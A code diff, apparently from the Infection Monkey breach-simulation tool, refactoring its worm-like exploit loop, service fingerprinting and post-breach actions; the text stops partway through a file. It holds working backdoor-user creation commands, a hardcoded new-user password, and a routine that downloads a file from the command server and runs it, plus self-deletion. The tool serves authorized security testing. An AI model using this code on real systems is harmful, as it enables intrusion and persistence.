monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: - LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) - machine.set_default_server(self._default_server) + if self._network.on_island(self._default_server): + machine.set_default_server(get_interface_to_target(machine.ip_addr) + + (':'+self._default_server_port if self._default_server_port else '')) + else: + machine.set_default_server(self._default_server) + LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type - self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) - host_exploited = False - for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if self.try_exploiting(machine, exploiter): - host_exploited = True - VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() - break - if not host_exploited: - self._fail_exploitation_machines.add(machine) - VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() + if WormConfiguration.should_exploit: + self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) + host_exploited = False + for exploiter in [exploiter(machine) for exploiter in self._exploiters]: + if self.try_exploiting(machine, exploiter): + host_exploited = True + VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() + break + if not host_exploited: + self._fail_exploitation_machines.add(machine) + VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break @@ -218,14 +232,13 @@ class InfectionMonkey(object): InfectionMonkey.close_tunnel() firewall.close() else: - ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel) + StateTelem(is_done=True).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: self.send_log() self._singleton.unlock() - utils.remove_monkey_dir() InfectionMonkey.self_delete() LOG.info("Monkey is shutting down") @@ -238,9 +251,13 @@ class InfectionMonkey(object): @staticmethod def self_delete(): + status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED + T1107Telem(status, get_monkey_dir_path()).send() + if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: + status = None if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE startupinfo = subprocess.STARTUPINFO() @@ -251,11 +268,15 @@ class InfectionMonkey(object): close_fds=True, startupinfo=startupinfo) else: os.remove(sys.executable) + status = ScanStatus.USED except Exception as exc: LOG.error("Exception in self delete: %s", exc) + status = ScanStatus.SCANNED + if status: + T1107Telem(status, sys.executable).send() def send_log(self): - monkey_log_path = utils.get_monkey_log_path() + monkey_log_path = get_monkey_log_path() if os.path.exists(monkey_log_path): with open(monkey_log_path, 'r') as f: log = f.read() @@ -286,7 +307,11 @@ class InfectionMonkey(object): return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) - + except ExploitingVulnerableMachineError as exc: + LOG.error("Exception while attacking %s using %s: %s", + machine, exploiter.__class__.__name__, exc) + self.successfully_exploited(machine, exploiter) + return True except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) @@ -310,3 +335,17 @@ class InfectionMonkey(object): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) + + def set_default_port(self): + try: + self._default_server_port = self._default_server.split(':')[1] + except KeyError: + self._default_server_port = '' + + def set_default_server(self): + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + LOG.info("Monkey couldn't find server. Going down.") + return False + self._default_server = WormConfiguration.current_server + LOG.debug("default server set to: %s" % self._default_server) + return True diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index a7f0f0396..d29adddb1 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -15,7 +15,7 @@ def main(): a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), - hookspath=None, + hookspath=['./pyinstaller_hooks'], runtime_hooks=None, binaries=None, datas=None, diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index e43fa7073..59a6d01d6 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -1,4 +1,4 @@ -from abc import ABCMeta, abstractmethod +from abc import ABCMeta, abstractmethod, abstractproperty __author__ = 'itamar' @@ -14,10 +14,20 @@ class HostScanner(object): class HostFinger(object): __metaclass__ = ABCMeta + @abstractproperty + def _SCANNED_SERVICE(self): + pass + + def init_service(self, services, service_key, port): + services[service_key] = {} + services[service_key]['display_name'] = self._SCANNED_SERVICE + services[service_key]['port'] = port + @abstractmethod def get_host_fingerprint(self, host): raise NotImplementedError() + from infection_monkey.network.ping_scanner import PingScanner from infection_monkey.network.tcp_scanner import TcpScanner from infection_monkey.network.smbfinger import SMBFinger @@ -26,4 +36,4 @@ from infection_monkey.network.httpfinger import HTTPFinger from infection_monkey.network.elasticfinger import ElasticFinger from infection_monkey.network.mysqlfinger import MySQLFinger from infection_monkey.network.info import local_ips, get_free_tcp_port -from infection_monkey.network.mssql_fingerprint import MSSQLFinger \ No newline at end of file +from infection_monkey.network.mssql_fingerprint import MSSQLFinger diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 3d62de687..aaac09be2 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -6,11 +6,11 @@ import requests from requests.exceptions import Timeout, ConnectionError import infection_monkey.config +from common.data.network_consts import ES_SERVICE from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger ES_PORT = 9200 -ES_SERVICE = 'elastic-search-9200' ES_HTTP_TIMEOUT = 5 LOG = logging.getLogger(__name__) __author__ = 'danielg' @@ -20,6 +20,7 @@ class ElasticFinger(HostFinger): """ Fingerprints elastic search clusters, only on port 9200 """ + _SCANNED_SERVICE = 'Elastic search' def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -35,7 +36,7 @@ class ElasticFinger(HostFinger): url = 'http://%s:%s/' % (host.ip_addr, ES_PORT) with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: data = json.loads(req.text) - host.services[ES_SERVICE] = {} + self.init_service(host.services, ES_SERVICE, ES_PORT) host.services[ES_SERVICE]['cluster_name'] = data['cluster_name'] host.services[ES_SERVICE]['name'] = data['name'] host.services[ES_SERVICE]['version'] = data['version']['number'] diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 829c6b1b5..30292d99f 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -10,6 +10,7 @@ class HTTPFinger(HostFinger): """ Goal is to recognise HTTP servers, where what we currently care about is apache. """ + _SCANNED_SERVICE = 'HTTP' def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -36,7 +37,7 @@ class HTTPFinger(HostFinger): with closing(head(url, verify=False, timeout=1)) as req: server = req.headers.get('Server') ssl = True if 'https://' in url else False - host.services['tcp-' + port[1]] = {} + self.init_service(host.services, ('tcp-' + port[1]), port[0]) host.services['tcp-' + port[1]]['name'] = 'http' host.services['tcp-' + port[1]]['data'] = (server,ssl) LOG.info("Port %d is open on host %s " % (port[0], host)) diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index 75fde7465..7b666bf9f 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -16,7 +16,7 @@ class MSSQLFinger(HostFinger): SQL_BROWSER_DEFAULT_PORT = 1434 BUFFER_SIZE = 4096 TIMEOUT = 5 - SERVICE_NAME = 'MSSQL' + _SCANNED_SERVICE = 'MSSQL' def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -63,7 +63,7 @@ class MSSQLFinger(HostFinger): sock.close() return False - host.services[self.SERVICE_NAME] = {} + self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT) # Loop through the server data instances_list = data[3:].decode().split(';;') @@ -71,12 +71,11 @@ class MSSQLFinger(HostFinger): for instance in instances_list: instance_info = instance.split(';') if len(instance_info) > 1: - host.services[self.SERVICE_NAME][instance_info[1]] = {} + host.services[self._SCANNED_SERVICE][instance_info[1]] = {} for i in range(1, len(instance_info), 2): # Each instance's info is nested under its own name, if there are multiple instances # each will appear under its own name - host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] - + host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i] # Close the socket sock.close() diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index 70080c12b..123f0ae47 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -8,7 +8,6 @@ from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_ MYSQL_PORT = 3306 SQL_SERVICE = 'mysqld-3306' - LOG = logging.getLogger(__name__) @@ -16,7 +15,7 @@ class MySQLFinger(HostFinger): """ Fingerprints mysql databases, only on port 3306 """ - + _SCANNED_SERVICE = 'MySQL' SOCKET_TIMEOUT = 0.5 HEADER_SIZE = 4 # in bytes @@ -52,14 +51,13 @@ class MySQLFinger(HostFinger): version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing version = version[0] - host.services[SQL_SERVICE] = {} + self.init_service(host.services, SQL_SERVICE, MYSQL_PORT) host.services[SQL_SERVICE]['version'] = version version = version.split('-')[0].split('.') host.services[SQL_SERVICE]['major_version'] = version[0] host.services[SQL_SERVICE]['minor_version'] = version[1] host.services[SQL_SERVICE]['build_version'] = version[2] thread_id, curpos = struct_unpack_tracker(data, curpos, "= max_find: - LOG.debug("Found max needed victims (%d), stopping scan", max_find) - - break - - if WormConfiguration.tcp_scan_interval: - # time.sleep uses seconds, while config is in milliseconds - time.sleep(WormConfiguration.tcp_scan_interval/float(1000)) + if victims_count >= max_find: + LOG.debug("Found max needed victims (%d), stopping scan", max_find) + return + if WormConfiguration.tcp_scan_interval: + # time.sleep uses seconds, while config is in milliseconds + time.sleep(WormConfiguration.tcp_scan_interval / float(1000)) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): @@ -121,3 +104,19 @@ class NetworkScanner(object): if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address): return True return False + + def scan_machine(self, victim): + """ + Scans specific machine using instance scanners + :param victim: VictimHost machine + :return: Victim or None if victim isn't alive + """ + LOG.debug("Scanning target address: %r", victim) + if any([scanner.is_host_alive(victim) for scanner in self.scanners]): + LOG.debug("Found potential target_ip: %r", victim) + return victim + else: + return None + + def on_island(self, server): + return bool([x for x in self._ip_addresses if x in server]) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index cbaecedfb..659722bc2 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -20,6 +20,9 @@ LOG = logging.getLogger(__name__) class PingScanner(HostScanner, HostFinger): + + _SCANNED_SERVICE = '' + def __init__(self): self._config = infection_monkey.config.WormConfiguration self._devnull = open(os.devnull, "w") diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index ab92f2761..e17bf4a56 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -100,6 +100,8 @@ class SMBSessionFingerData(Packet): class SMBFinger(HostFinger): + _SCANNED_SERVICE = 'SMB' + def __init__(self): from infection_monkey.config import WormConfiguration self._config = WormConfiguration @@ -112,7 +114,7 @@ class SMBFinger(HostFinger): s.settimeout(0.7) s.connect((host.ip_addr, SMB_PORT)) - host.services[SMB_SERVICE] = {} + self.init_service(host.services, SMB_SERVICE, SMB_PORT) h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8") n = SMBNego(data=SMBNegoFingerData()) @@ -150,7 +152,6 @@ class SMBFinger(HostFinger): host.os['version'] = os_version else: host.services[SMB_SERVICE]['os-version'] = os_version - return True except Exception as exc: LOG.debug("Error getting smb fingerprint: %s", exc) diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py index 21deb8814..56779bb8f 100644 --- a/monkey/infection_monkey/network/sshfinger.py +++ b/monkey/infection_monkey/network/sshfinger.py @@ -14,6 +14,8 @@ LINUX_DIST_SSH = ['ubuntu', 'debian'] class SSHFinger(HostFinger): + _SCANNED_SERVICE = 'SSH' + def __init__(self): self._config = infection_monkey.config.WormConfiguration self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) @@ -38,12 +40,13 @@ class SSHFinger(HostFinger): banner = data.get('banner', '') if self._banner_regex.search(banner): self._banner_match(name, host, banner) + host.services[SSH_SERVICE_DEFAULT]['display_name'] = self._SCANNED_SERVICE return is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True) if is_open: - host.services[SSH_SERVICE_DEFAULT] = {} + self.init_service(host.services, SSH_SERVICE_DEFAULT, SSH_PORT) if banner: host.services[SSH_SERVICE_DEFAULT]['banner'] = banner diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index d864e3e73..e76c08b46 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -11,6 +11,9 @@ BANNER_READ = 1024 class TcpScanner(HostScanner, HostFinger): + + _SCANNED_SERVICE = 'unknown(TCP)' + def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -33,7 +36,7 @@ class TcpScanner(HostScanner, HostFinger): self._config.tcp_scan_get_banner) for target_port, banner in izip_longest(ports, banners, fillvalue=None): service = tcp_port_to_service(target_port) - host.services[service] = {} + self.init_service(host.services, service, target_port) if banner: host.services[service]['banner'] = banner if only_one_port: diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 3a9adef57..5e448002c 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -10,7 +10,7 @@ import re from six.moves import range from infection_monkey.pyinstaller_utils import get_binary_file_path -from infection_monkey.utils import is_64bit_python +from infection_monkey.utils.environment import is_64bit_python DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py index 2bd5547b4..3a692dc66 100644 --- a/monkey/infection_monkey/post_breach/__init__.py +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -1,4 +1 @@ __author__ = 'danielg' - - -from add_user import BackdoorUser diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py new file mode 100644 index 000000000..17007f1e6 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/__init__.py @@ -0,0 +1,11 @@ +from os.path import dirname, basename, isfile, join +import glob + + +def get_pba_files(): + """ + Gets all files under current directory(/actions) + :return: list of all files without .py ending + """ + files = glob.glob(join(dirname(__file__), "*.py")) + return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py new file mode 100644 index 000000000..09c8d4796 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -0,0 +1,16 @@ +from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER +from infection_monkey.post_breach.pba import PBA +from infection_monkey.config import WormConfiguration +from infection_monkey.utils.users import get_commands_to_add_user + + +class BackdoorUser(PBA): + def __init__(self): + linux_cmds, windows_cmds = get_commands_to_add_user( + WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass) + super(BackdoorUser, self).__init__( + POST_BREACH_BACKDOOR_USER, + linux_cmd=' '.join(linux_cmds), + windows_cmd=windows_cmds) + diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py new file mode 100644 index 000000000..04dff1441 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -0,0 +1,68 @@ +import logging +import os +import random +import string +import subprocess + +from infection_monkey.utils.new_user_error import NewUserError +from infection_monkey.utils.auto_new_user_factory import create_auto_new_user +from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.utils.environment import is_windows_os + +PING_TEST_DOMAIN = "google.com" + +CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged." +CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})." + +USERNAME_PREFIX = "somenewuser" +PASSWORD = "N3WPa55W0rD!1" + +logger = logging.getLogger(__name__) + + +class CommunicateAsNewUser(PBA): + """ + This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People + pillar. See the relevant telemetry processing to see what findings are created. + """ + + def __init__(self): + super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER) + + def run(self): + username = CommunicateAsNewUser.get_random_new_user_name() + try: + with create_auto_new_user(username, PASSWORD) as new_user: + ping_commandline = CommunicateAsNewUser.get_commandline_for_ping() + exit_status = new_user.run_as(ping_commandline) + self.send_ping_result_telemetry(exit_status, ping_commandline, username) + except subprocess.CalledProcessError as e: + PostBreachTelem(self, (e.output, False)).send() + except NewUserError as e: + PostBreachTelem(self, (str(e), False)).send() + + @staticmethod + def get_random_new_user_name(): + return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + + @staticmethod + def get_commandline_for_ping(domain=PING_TEST_DOMAIN, is_windows=is_windows_os()): + format_string = "PING.exe {domain} -n 1" if is_windows else "ping -c 1 {domain}" + return format_string.format(domain=domain) + + def send_ping_result_telemetry(self, exit_status, commandline, username): + """ + Parses the result of ping and sends telemetry accordingly. + + :param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success. + :param commandline: Exact commandline which was executed, for reporting back. + :param username: Username from which the command was executed, for reporting back. + """ + if exit_status == 0: + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send() + else: + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send() diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py new file mode 100644 index 000000000..89417757d --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -0,0 +1,108 @@ +import os +import logging + +from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION +from infection_monkey.utils.environment import is_windows_os +from infection_monkey.post_breach.pba import PBA +from infection_monkey.control import ControlClient +from infection_monkey.config import WormConfiguration +from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from common.utils.attack_utils import ScanStatus +from infection_monkey.exploit.tools.helpers import get_interface_to_target + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +# Default commands for executing PBA file and then removing it +DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" +DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" + +DIR_CHANGE_WINDOWS = 'cd %s & ' +DIR_CHANGE_LINUX = 'cd %s ; ' + + +class UsersPBA(PBA): + """ + Defines user's configured post breach action. + """ + def __init__(self): + super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) + self.filename = '' + if not is_windows_os(): + # Add linux commands to PBA's + if WormConfiguration.PBA_linux_filename: + if WormConfiguration.custom_PBA_linux_cmd: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd + self.filename = WormConfiguration.PBA_linux_filename + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) + self.command = DEFAULT_LINUX_COMMAND.format(file_path) + self.filename = WormConfiguration.PBA_linux_filename + elif WormConfiguration.custom_PBA_linux_cmd: + self.command = WormConfiguration.custom_PBA_linux_cmd + else: + # Add windows commands to PBA's + if WormConfiguration.PBA_windows_filename: + if WormConfiguration.custom_PBA_windows_cmd: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd + self.filename = WormConfiguration.PBA_windows_filename + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) + self.command = DEFAULT_WINDOWS_COMMAND.format(file_path) + self.filename = WormConfiguration.PBA_windows_filename + elif WormConfiguration.custom_PBA_windows_cmd: + self.command = WormConfiguration.custom_PBA_windows_cmd + + def _execute_default(self): + if self.filename: + UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) + return super(UsersPBA, self)._execute_default() + + @staticmethod + def should_run(class_name): + if not is_windows_os(): + if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd: + return True + else: + if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd: + return True + return False + + @staticmethod + def download_pba_file(dst_dir, filename): + """ + Handles post breach action file download + :param dst_dir: Destination directory + :param filename: Filename + :return: True if successful, false otherwise + """ + + pba_file_contents = ControlClient.get_pba_file(filename) + + status = None + if not pba_file_contents or not pba_file_contents.content: + LOG.error("Island didn't respond with post breach file.") + status = ScanStatus.SCANNED + + if not status: + status = ScanStatus.USED + + T1105Telem(status, + WormConfiguration.current_server.split(':')[0], + get_interface_to_target(WormConfiguration.current_server.split(':')[0]), + filename).send() + + if status == ScanStatus.SCANNED: + return False + + try: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + written_PBA_file.write(pba_file_contents.content) + return True + except IOError as e: + LOG.error("Can not upload post breach file to target machine: %s" % e) + return False diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py deleted file mode 100644 index 94aa210e4..000000000 --- a/monkey/infection_monkey/post_breach/add_user.py +++ /dev/null @@ -1,52 +0,0 @@ -import datetime -import logging -import subprocess -import sys -from infection_monkey.config import WormConfiguration - -LOG = logging.getLogger(__name__) - -# Linux doesn't have WindowsError -try: - WindowsError -except NameError: - WindowsError = None - -__author__ = 'danielg' - - -class BackdoorUser(object): - """ - This module adds a disabled user to the system. - This tests part of the ATT&CK matrix - """ - - def act(self): - LOG.info("Adding a user") - try: - if sys.platform.startswith("win"): - retval = self.add_user_windows() - else: - retval = self.add_user_linux() - if retval != 0: - LOG.warn("Failed to add a user") - else: - LOG.info("Done adding user") - except OSError: - LOG.exception("Exception while adding a user") - - @staticmethod - def add_user_linux(): - cmd_line = ['useradd', '-M', '--expiredate', - datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.user_to_add] - retval = subprocess.call(cmd_line) - return retval - - @staticmethod - def add_user_windows(): - cmd_line = ['net', 'user', WormConfiguration.user_to_add, - WormConfiguration.remote_user_pass, - '/add', '/ACTIVE:NO'] - retval = subprocess.call(cmd_line) - return retval diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py deleted file mode 100644 index 5f52a29a6..000000000 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ /dev/null @@ -1,68 +0,0 @@ -from infection_monkey.post_breach.pba import PBA -from infection_monkey.control import ControlClient -from infection_monkey.config import WormConfiguration -from infection_monkey.utils import get_monkey_dir_path -import requests -import os -import logging - -LOG = logging.getLogger(__name__) - -__author__ = 'VakarisZ' - -# Default commands for executing PBA file and then removing it -DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" -DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" - - -class FileExecution(PBA): - """ - Defines user's file execution post breach action. - """ - def __init__(self, linux_command="", windows_command=""): - self.linux_filename = WormConfiguration.PBA_linux_filename - self.windows_filename = WormConfiguration.PBA_windows_filename - super(FileExecution, self).__init__("File execution", linux_command, windows_command) - - def _execute_linux(self): - FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename) - return super(FileExecution, self)._execute_linux() - - def _execute_win(self): - FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename) - return super(FileExecution, self)._execute_win() - - def add_default_command(self, is_linux): - """ - Replaces current (likely empty) command with default file execution command (that changes permissions, executes - and finally deletes post breach file). - Default commands are defined as globals in this module. - :param is_linux: Boolean that indicates for which OS the command is being set. - """ - if is_linux: - file_path = os.path.join(get_monkey_dir_path(), self.linux_filename) - self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) - else: - file_path = os.path.join(get_monkey_dir_path(), self.windows_filename) - self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) - - @staticmethod - def download_PBA_file(dst_dir, filename): - """ - Handles post breach action file download - :param dst_dir: Destination directory - :param filename: Filename - :return: True if successful, false otherwise - """ - - PBA_file_contents = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - try: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - written_PBA_file.write(PBA_file_contents.content) - return True - except IOError as e: - LOG.error("Can not download post breach file to target machine, because %s" % e) - return False diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 09fe613b3..8d7723df2 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,68 +1,94 @@ import logging -from infection_monkey.control import ControlClient import subprocess -import socket + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.utils.environment import is_windows_os +from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem + LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' +EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" class PBA(object): """ Post breach action object. Can be extended to support more than command execution on target machine. """ - def __init__(self, name="unknown", linux_command="", windows_command=""): + def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. - :param linux_command: Command that will be executed on linux machine - :param windows_command: Command that will be executed on windows machine + :param linux_cmd: Command that will be executed on breached machine + :param windows_cmd: Command that will be executed on breached machine """ - self.linux_command = linux_command - self.windows_command = windows_command + self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name - def run(self, is_linux): + def get_pba(self): """ - Runs post breach action command - :param is_linux: boolean that indicates on which os monkey is running + This method returns a PBA object based on a worm's configuration. + Return None or False if you don't want the pba to be executed. + :return: A pba object. """ - if is_linux: - command = self.linux_command - exec_funct = self._execute_linux - else: - command = self.windows_command - exec_funct = self._execute_win - if command: - hostname = socket.gethostname() - ControlClient.send_telemetry('post_breach', {'command': command, - 'result': exec_funct(), - 'name': self.name, - 'hostname': hostname, - 'ip': socket.gethostbyname(hostname) - }) - - def _execute_linux(self): - """ - Default linux PBA execution function. Override it if additional functionality is needed - """ - return self._execute_default(self.linux_command) - - def _execute_win(self): - """ - Default linux PBA execution function. Override it if additional functionality is needed - """ - return self._execute_default(self.windows_command) + return self @staticmethod - def _execute_default(command): + def should_run(class_name): + """ + Decides if post breach action is enabled in config + :return: True if it needs to be ran, false otherwise + """ + return class_name in WormConfiguration.post_breach_actions + + def run(self): + """ + Runs post breach action command + """ + exec_funct = self._execute_default + result = exec_funct() + if self.scripts_were_used_successfully(result): + T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send() + PostBreachTelem(self, result).send() + + def is_script(self): + """ + Determines if PBA is a script (PBA might be a single command) + :return: True if PBA is a script(series of OS commands) + """ + return isinstance(self.command, list) and len(self.command) > 1 + + def scripts_were_used_successfully(self, pba_execution_result): + """ + Determines if scripts were used to execute PBA and if they succeeded + :param pba_execution_result: result of execution function. e.g. self._execute_default + :return: True if scripts were used, False otherwise + """ + pba_execution_succeeded = pba_execution_result[1] + return pba_execution_succeeded and self.is_script() + + def _execute_default(self): """ Default post breach command execution routine - :param command: What command to execute :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True + output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True) + if not output: + output = EXECUTION_WITHOUT_OUTPUT + return output, True except subprocess.CalledProcessError as e: # Return error output of the command return e.output, False + + @staticmethod + def choose_command(linux_cmd, windows_cmd): + """ + Helper method that chooses between linux and windows commands. + :param linux_cmd: + :param windows_cmd: + :return: Command for current os + """ + return windows_cmd if is_windows_os() else linux_cmd diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index ff24ebbbb..b5dfa93c7 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,16 +1,15 @@ import logging -import infection_monkey.config -from file_execution import FileExecution -from pba import PBA -from infection_monkey.utils import is_windows_os -from infection_monkey.utils import get_monkey_dir_path +import inspect +import importlib +from infection_monkey.post_breach.pba import PBA +from infection_monkey.post_breach.actions import get_pba_files +from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -DIR_CHANGE_WINDOWS = 'cd 